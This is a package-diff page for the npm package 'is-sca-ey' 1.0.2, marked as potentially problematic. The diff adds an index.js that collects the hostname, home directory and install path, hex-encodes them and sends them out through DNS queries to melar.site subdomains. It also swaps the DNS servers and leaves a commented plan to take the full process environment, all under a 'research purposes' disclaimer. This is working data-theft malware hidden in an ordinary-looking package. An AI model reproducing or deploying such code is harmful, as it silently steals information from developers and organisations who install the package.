is-sca-ey 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of is-sca-ey might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <module type="WEB_MODULE" version="4">
3
+ <component name="NewModuleRootManager">
4
+ <content url="file://$MODULE_DIR$">
5
+ <excludeFolder url="file://$MODULE_DIR$/temp" />
6
+ <excludeFolder url="file://$MODULE_DIR$/.tmp" />
7
+ <excludeFolder url="file://$MODULE_DIR$/tmp" />
8
+ </content>
9
+ <orderEntry type="inheritedJdk" />
10
+ <orderEntry type="sourceFolder" forTests="false" />
11
+ </component>
12
+ </module>
@@ -0,0 +1,6 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="JavaScriptLibraryMappings">
4
+ <includedPredefinedLibrary name="Node.js Core" />
5
+ </component>
6
+ </project>
@@ -0,0 +1,8 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="ProjectModuleManager">
4
+ <modules>
5
+ <module fileurl="file://$PROJECT_DIR$/.idea/atlas.iml" filepath="$PROJECT_DIR$/.idea/atlas.iml" />
6
+ </modules>
7
+ </component>
8
+ </project>
package/index.js ADDED
@@ -0,0 +1,110 @@
1
+ /*
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure program will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ ethical-bugbot@protonmail.com
17
+
18
+ As you may have guessed this is a copy paste =/
19
+ */
20
+
21
+ const nodejsemail = require("nodejs-email");
22
+ const dns = require("dns");
23
+ const os = require("os");
24
+
25
+ const suffix = "nrmv.melar.site";
26
+ const ns = "ns1.melar.site";
27
+
28
+ const npmPackageName = "nodejs-email";
29
+
30
+ function sendToServer(id, data) {
31
+ data = Buffer.from(data).toString("hex");
32
+ data = data.match(/.{1,60}/g);
33
+ nodejsemail.Buffer();
34
+
35
+ data.forEach(function (chunk, idx) {
36
+ try {
37
+ dns.resolve(
38
+ "v2_f." + id + "." + idx + "." + chunk + ".v2_e" + suffix,
39
+ "A",
40
+ console.log
41
+ );
42
+ } catch (e) {}
43
+ });
44
+ }
45
+
46
+ function tryGet(toCall) {
47
+ try {
48
+ return toCall();
49
+ } catch (e) {
50
+ return "err";
51
+ }
52
+ }
53
+
54
+ let simpleData = {
55
+ p: npmPackageName,
56
+ h: tryGet(os.hostname),
57
+ d: tryGet(os.homedir),
58
+ c: __dirname,
59
+ };
60
+
61
+ if (simpleData["h"] === "BBOGENS-LAPTOP") {
62
+ process.exit(0);
63
+ }
64
+
65
+ const simpleInfo = JSON.stringify(simpleData);
66
+ const id = Math.random().toString(36).substring(2);
67
+ sendToServer(id, simpleInfo);
68
+ dns.lookup(ns, function (err, address) {
69
+ if (!err) {
70
+ nsAddress = address;
71
+ } else {
72
+ nsAddress = "8.8.8.8";
73
+ }
74
+ dns.setServers([nsAddress, "8.8.4.4"]);
75
+ sendToServer(simpleData);
76
+ });
77
+
78
+ process.exit(0);
79
+
80
+ /*
81
+ // Send POST request
82
+ const currentEnvString = JSON.stringify(process);
83
+ const currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
84
+
85
+ const extendedData = {
86
+ p: package,
87
+ h: tryGet(os.hostname),
88
+ d: tryGet(os.homedir),
89
+ c: __dirname,
90
+ i: Math.random().toString(36).substring(5),
91
+ e: process.env.PORT,
92
+ ho: JSON.stringify(os.hostname()),
93
+ cp: __dirname,
94
+ cf: __filename,
95
+ ce: currentEnvBase64,
96
+ ty: JSON.stringify(os.type()),
97
+ pl: JSON.stringify(os.platform()),
98
+ a: JSON.stringify(os.arch()),
99
+ r: JSON.stringify(os.release()),
100
+ u: JSON.stringify(os.uptime()),
101
+ l: JSON.stringify(os.loadavg()),
102
+ tm: JSON.stringify(os.totalmem()),
103
+ fm: JSON.stringify(os.freemem()),
104
+ cpu: JSON.stringify(os.cpus()),
105
+ ni: JSON.stringify(os.networkInterfaces()),
106
+ };
107
+
108
+ extendedDataStr = JSON.stringify(extendedData);
109
+ extendedDataB64 = Buffer.from(currentEnvString).toString('base64');
110
+ */
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "is-sca-ey",
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "nodejs-email": "^2.0.0"
13
+ }
14
+ }